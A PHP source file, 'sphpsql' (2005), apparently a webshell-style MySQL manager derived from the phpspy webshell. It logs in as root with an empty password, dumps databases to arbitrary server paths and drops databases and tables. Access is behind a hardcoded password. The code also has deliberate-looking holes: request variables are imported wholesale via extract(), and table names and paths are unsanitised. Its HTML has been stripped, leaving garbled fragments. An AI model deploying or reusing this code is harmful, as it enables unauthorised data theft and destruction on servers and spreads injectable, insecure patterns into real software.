/*
+--------------------------------------------------------------------------+
| sphpsql Version:1.0 Full |
| Codz by Lanker | |==========================================================================|
| Email: nmlanker@163.com |
| Date: 2005/1/27 |
+--------------------------------------------------------------------------+
*/
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
/*===================== 程序配置 =====================*/
$dbhost = 'localhost'; // 数据库服务器
$dbuser = 'root'; // 数据库用户名
$dbpw = ''; // 数据库密码
$dbname='mysql'; //数据库
///////////////////from by angel's phpspy///////////////
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
$admin['check']="1";
// 验证方式,1为采用 Session 验证,其他数字则采用 Cookie验证
// 默认采用 Session 验证,如果不能正常登陆,建议改为 Cookie验证
$admin['checkmode']="1";
// 如果需要密码验证,请修改登陆密码
$admin['pass']="lanker";
/*===================== 配置结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
if ( function_exists('ini_get') ) {
$onoff = ini_get('register_globals');
} else {
$onoff = get_cfg_var('register_globals');
}
if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
$self = $_SERVER['PHP_SELF'];
/*===================== 身份验证 =====================*/
if($admin['check']=="1") {
if($admin['checkmode']=="1") {
/*------- session 验证 -------*/
session_start();
if ($_GET['action'] == "logout") {
session_destroy();
echo " ";
echo "注销成功......三秒后自动退出或单击这里退出程序界面>>>
";
exit;
}
if ($login) {
$adminpass=trim($_POST['adminpass']);
if ($adminpass==$admin['pass']) {
$_SESSION['adminpass'] = $admin['pass'];
echo " ";
echo "登陆成功......三秒后自动跳转或单击这里进入程序界面>>>
";
exit;
}
}
if (session_is_registered('adminpass')) {
if ($_SESSION['adminpass']!=$admin['pass']) {
loginpage();
}
} else {
loginpage();
}
} else {
/*------- cookie 验证 -------*/
if ($_GET['action'] == "logout") {
setcookie ("adminpass", "");
echo " ";
echo "注销成功......三秒后自动退出或单击这里退出程序界面>>>
";
exit;
}
if ($login) {
$adminpass=trim($_POST['adminpass']);
if ($adminpass==$admin['pass']) {
setcookie ("adminpass",$admin['pass'],time()+(1*24*3600));
echo " ";
echo "登陆成功......三秒后自动跳转或单击这里进入程序界面>>>
";
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass']!=$admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
}//end check
/*===================== 验证结束 =====================*/
//////////////////////end//////////////////////////////
$linkdb=0;
$linkdb=@mysql_connect($dbhost,$dbuser,$dbpw);
?>
";
exit;
}
// 备份数据库
if($cmd =='bakdb' and $db!='' and $path !=''){
$dbname=$db;
@mysql_select_db($dbname) or die("选择数据库失败");
$filehandle = @fopen($path,"w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "出错: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($currow[0])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,"\n\n\n");
}
}
fclose($filehandle);
echo "数据库".$dbname."已成功备份到 ".$path." ";
mysql_close();
} else {
echo "备份失败,请确认目标文件夹是否具有可写权限.";
}
}
// 删除数据库
if ($cmd=='dropdb' and $db!=''){
$dbname=$db;
$result = mysql_drop_db($dbname)? "删除数据库:\t".$dbname."\t成功!":"删除数据库\t".$dbname."\t失败:".mysql_error();
echo $result;
$url =$_SERVER['PHP_SELF'];
echo " ";
exit;
}
//删除表
if($cmd=='droptb' and $db!='' and $tbname !=''){
$dbname=$db;
mysql_select_db($dbname) or die("选择数据库失败");
$vtb="drop table $tbname";
$result = @mysql_query($vtb)? "删除数据库:\t".$dbname."\t中表:\t".$tbname."\t成功!":"删除数据库\t".$dbname."\t中表:\t".$tbname."\t失败:".mysql_error();
echo $result;
$url ="?db=".urlencode($dbname)."&cmd=showtb";
echo " ";
exit;
}
//备份表
if($cmd=='baktb' and $db!='' and $tbname !='' and $path !=''){
$dbname=$db;
mysql_select_db($dbname) or die("选择数据库失败");
$filehandle = @fopen($path,"w");
if ($filehandle) {sqldumptable($tbname, $filehandle);
fwrite($filehandle,"\n\n\n");
fclose($filehandle);
echo "表".$tbname."已成功备份到 ".$path." ";
mysql_close();
} else {
echo "备份失败,请确认目标文件夹是否具有可写权限.";
}
}
?>
if($linkdb){
//显示所有数据库
$db_list = mysql_list_dbs($linkdb);
echo '';
echo "数据库: ";
while ($row = mysql_fetch_object($db_list)) {
$dblsit= $row->Database;
echo " ".$dblsit." 显示表 备份 删除 \n";
}
echo "
";
//mysql_close();
}
else {
echo "连接数据库失败!";
exit;
}
//显示所有表
if ($cmd=='showtb' and $db!=''){
$dbname=$db;
@mysql_select_db($dbname) or die ("Could not db!");
$tableid=mysql_list_tables($dbname); //列出指定数据库的表返回一个ID
echo '';
echo "数据库".$dbname."所有表:
";
for ($i = 0; $i < mysql_num_rows($tableid); $i++){
$tablename=mysql_tablename($tableid, $i);
echo "".$tablename." 表详细信息 浏览前10行数据 备份 删除 \n";
}
echo "
";
}
//显示表的字段信息
if($cmd=='showtbinfo' and $tbname!='' and $db !=''){
$dbname=$db;
$tablefield=mysql_list_fields($dbname,$tbname,$linkdb);//列出表的字段
$fileds=mysql_num_fields($tablefield); //返回表字段的数目
$rows=mysql_num_rows($tablefield);//返回表行的数目
$i=0;
echo '';
echo "数据库:".$dbname."\t表:". $tbname."\t有".$fileds."列".$rows."行
";
echo "列数 字段名称 数据类型 字段长度 字段标志 ";
while($i<$fileds)
{
$type=mysql_field_type($tablefield,$i);
$name=mysql_field_name($tablefield,$i);
$len=mysql_field_len($tablefield,$i);
$flags=mysql_field_flags($tablefield,$i);
$i++;
echo " ".$i." ".$name." ".$type." ".$len." ".$flags." \n";
}
echo '
';
}
// 显示表的内容
if($cmd=='viewtb' and $db!='' and $tbname !=''){
$dbname=$db;
mysql_select_db($dbname) or die("选择数据库失败");
$tablefield=mysql_list_fields($dbname,$tbname,$linkdb);//列出表的字段
$fileds=mysql_num_fields($tablefield); //返回表字段的数目
echo "数据库:".$dbname."\t表:". $tbname."内容如下:
";
echo "";//#66CCFF
$i=0;
while($i<$fileds)
{
$name=mysql_field_name($tablefield,$i);
$i++;
echo "".$name." \n";
}
echo " ";
$vtb="select * from $tbname limit 0,10";
$result = @mysql_query($vtb);
while($row=mysql_fetch_array($result,MYSQL_BOTH)){
echo "";//#99CCFF
for($j=0;$j80) {
$row[$j]=substr($row[$j],0,80)."....";
}
echo "".$row[$j/2]." ";
}
echo " ";
}
echo "";
}
//去掉转义字符
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
// 简单查询函数
function querystr($qstr){
global $dbname;
@mysql_select_db($dbname) or die("选择数据库失败");
$result = @mysql_query($qstr);
if($result){
$row=@mysql_fetch_array($result,MYSQL_BOTH);
return $row[0]."\t";
}
else{
return "未知";
}
}
// 备份数据库 from angel's phpspy
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = mysql_query("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
mysql_free_result($fields);
$keys = mysql_query("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
mysql_free_result($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = mysql_query("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
mysql_free_result($rows);
}
// 登陆入口
function loginpage() {
?>
Password:
Copyright (C) 2005 Lanker All Rights Reserved.